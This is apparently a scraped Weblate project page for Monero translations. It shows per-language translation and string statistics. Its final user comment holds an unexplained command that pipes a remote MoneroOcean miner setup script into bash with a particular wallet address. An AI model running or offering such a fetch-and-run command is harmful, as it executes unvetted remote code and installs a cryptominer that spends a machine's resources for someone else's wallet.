Quick Start and Info
Welcome to Weblate. The Monero localization platform. Here you can help translate all things Monero, like the Website, the GUI and CLI wallets and more. We have some guides to help you started, but if you need help or support, contact the localization wokgroup!
Guides:
Support and Contacts:
- GitHub
- #monero-translations - Chat on Matrix, Freenode and MatterMost
Language | Translated | Untranslated | Untranslated words | Untranslated characters | Checks | Suggestions | Comments | |
---|---|---|---|---|---|---|---|---|
English
|
201 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Afrikaans BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Arabic BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Azerbaijani BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Bengali BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Bulgarian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Catalan BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Chinese (Simplified) BSD-3-Clause | 18 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Chinese (Traditional) BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Croatian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Czech BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Danish BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Dutch BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Esperanto BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Finnish BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
French BSD-3-Clause | 28 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
German BSD-3-Clause | 65 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Greek BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Hebrew BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Hindi BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Hungarian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Icelandic BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Indonesian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Irish BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Italian BSD-3-Clause | 44 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Japanese BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Korean BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Kurmanji BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Lithuanian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Nepali BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Norwegian Bokmål BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Persian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Persian (Old) BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Polish BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Portuguese (Brazil) BSD-3-Clause | 64 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Portuguese (Portugal) BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
prt (generated) (prt) BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Romanian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Russian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Serbian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Slovak BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Slovenian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Spanish BSD-3-Clause | 52 | 0 | 0 | 0 | 0 | 0 | 1 | |
|
||||||||
Swedish BSD-3-Clause | 40 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Tamil BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Turkish BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Ukrainian BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Urdu BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Vietnamese BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
||||||||
Zulu BSD-3-Clause | 0 | 0 | 0 | 0 | 0 | 0 | 0 | |
|
Please sign in to see the alerts.
Overview
Project website | github.com/monero-project |
---|---|
Instructions for translators | |
Project maintainers |
![]() |
Translation process |
|
Translation license | BSD 3-Clause "New" or "Revised" License |
Filemask | *.tbx |
String statistics
Strings percent | Hosted strings | Words percent | Hosted words | Characters percent | Hosted characters | |
---|---|---|---|---|---|---|
Total | 512 | 790 | 5,275 | |||
Source | 201 | 320 | 2,131 | |||
Translated | 100% | 512 | 100% | 790 | 100% | 5,275 |
Needs editing | 0% | 0 | 0% | 0 | 0% | 0 |
Failing checks | 0% | 0 | 0% | 0 | 0% | 0 |
Strings with suggestions | 0% | 0 | 0% | 0 | 0% | 0 |
Not translated strings | 0% | 0 | 0% | 0 | 0% | 0 |

Comment added
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 41n5T6hjTkEZR3frJZb28djAPvZH1T5xFLFJwtgvtzgsKLvhQvieTpzTewzywJkLyEZRtAxBn2T1tSsaArN8pPAs1nqYQd6
6 months ago